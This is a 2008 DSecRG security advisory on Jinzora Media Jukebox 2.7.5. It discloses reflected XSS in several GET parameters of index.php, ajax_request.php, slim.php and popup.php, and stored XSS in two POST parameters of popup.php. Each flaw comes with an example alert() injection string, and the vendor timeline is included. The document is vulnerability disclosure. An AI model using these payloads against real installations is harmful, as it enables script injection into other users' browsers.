Digital Security Research Group [DSecRG] Advisory #DSECRG-08-016

Application: Jinzora Media Jukebox
Versions Affected: 2.7.5
Vendor URL: http://www.jinzora.com/
Bugs: Multiple XSS Injections
Exploits: YES
Reported: 04.02.2008
Second report: 12.02.2008
Vendor response: NONE
Date of Public Advisory: 19.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
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Jinzora system has multiple security vulnerabilities:

1. Linked XSS
2. Stored XSS

Details
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1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string.

1.1 Linked XSS vulnerabiliies found in index.php.

GET parameters "frontend", "set_frontend", "jz_path", "theme", "set_theme".

Example:

http://[server]/[installdir]/index.php?frontend=<IMG SRC="javascript:alert('DSecRG XSS')">

1.2 Linked XSS vulnerabilities found in ajax_request.php.

GET parameters "frontend", "theme", "language".

Example:

http://[server]/[installdir]/ajax_request.php?language=<IMG SRC="javascript:alert('DSecRG XSS')">

1.3 Linked XSS vulnerability found in slim.php. GET parameter "jz_path".

Example:

http://[server]/[installdir]/slim.php?jz_path=<IMG SRC="javascript:alert('DSecRG XSS')">

1.4 Linked XSS vulnerabilities found in popup.php.

GET parameters "frontend", "theme", "jz_path".

Example:

http://[server]/[installdir]/popup.php?theme=<IMG SRC="javascript:alert('DSecRG XSS')">

1.5 Linked XSS in Path vulnerability found in index.php and slim.php.

Example:

http://[server]/[installdir]/index.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------

2. Stored XSS

2.1 Vulnerability found in script popup.php?ptype=sitenews in post parameter name "siteNewsData"

Example:

siteNewsData = </textarea><script>alert('DSecRG XSS')</script>

2.1 Vulnerability found in script popup.php?ptype=playlistedit in post parameter name "query"

Example:

query = <script>alert('DSecRG XSS')</script>

About
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Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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